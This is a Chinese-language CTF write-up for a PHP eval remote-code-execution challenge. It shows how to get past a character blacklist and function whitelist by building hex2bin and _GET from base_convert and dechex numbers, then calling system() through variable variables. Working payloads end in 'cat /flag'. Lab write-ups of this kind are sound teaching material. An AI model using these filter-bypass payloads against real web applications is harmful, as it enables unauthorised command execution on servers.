这道题关键就在利用数学函数和进制转换来拼凑出字符串,然后利用eval执行拼凑的命令
代码中一个黑名单过滤下面这些符号
- 空格 (
- 制表符 (
\t
) - 回车符 (
\r
) - 换行符 (
\n
) - 单引号 (
\'
) - 双引号 (
"
) - 反引号 (```)
- 方括号 (
\[
和\]
)
然后白名单函数里边这种函数还有点用'base_convert', 'bindec',decbin', 'dechex
/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/这个正则过滤了
- 不以字母或下划线开头的字符串
- 包含除字母、数字、下划线或扩展ASCII字符以外的特殊字符的字符串
- 包含空格或其他空白字符的字符串
简单来说就是不能用除了白名单里边以外的函数
php中可以利用变量的动态调用函数而达到执行函数的目的:例如:
$a = 'system';
$b = 'id';
$a($b) //system(id)
这道RCE里边代码只有c接收参数,所以我们可以采取变量赋值的方式在url中构造一个payload:
?c=($_GET['a'])($_GET['b'])&a=exec&b=ls /
($_GET['a'])($_GET['b'])就等于$a$b即exec(ls /)
但是这里过滤了单引号,方括号,$_GET也不能直接使用,得想办法通过其他方法转换绕过
在php中有个hex2bin函数可以将十六进制字符转为二进制字符串,但是白名单里面没有此函数
36进制数使用的字符包括数字0-9和字母A-Z。具体来说:
- 数字部分:0, 1, 2, 3, 4, 5, 6, 7, 8, 9
- 字母部分:A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z
我们可以将36进制状态下的hex2bin转换为常用的十进制,再使用base_convert()函数将该十进制数转为三十六进制即可构造出hex2bin函数
36进制数“hex2bin”转换为10进制:
37907361743
hex2bin:base_convert(37907361743,10,36)
然后我们再利用dechex将$_GET的十进制数转换为十六进制,再通过hex2bin转为字符串。
$_GET的十六进制为:245f474554
转换为十进制为:156217328980
$_GET:hex2bin(dechex(156217328980))=
base_convert(37907361743,10,36)(dechex(156217328980))
又因为限制长度80,我们把base_convert(37907361743,10,36)(dechex(156217328980))赋值给一个变量$sin,即$sin=base_convert(37907361743,10,36)(dechex(156217328980))
中括号被禁用我们用花括号{}
构造payload:?c=$sin=base_convert(37907361743,10,36)(dechex(156217328980));($sin){cos}($sin){tan}$cos=exec&tan=ls /
因为空格过滤了使用括号包裹
结果超长了
找个最短的当变量,再利用变量覆盖试试
这次只用_GET不加$,用变量覆盖调用,例子:
$var = "Hello";
$p = "var";
echo $$p; // 输出:Hello
_GET十六进制为5f474554,再转十进制为1598506324
之前直接$sin应该是把那一串代表hen2bin函数的东西输出来了,这里用变量覆盖调用
构造payload:?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=exec&cos=ls /
因为中间分号隔开了,所以可以用一次pi传递参数,但是使用exec函数发现输出有问题
查了一下:exec()
:这个函数执行外部程序并返回最后一行输出的字符串。它可以接收一个数组参数来获取所有的输出行。
换用system函数,payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=ls /
/发现flag
最终payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag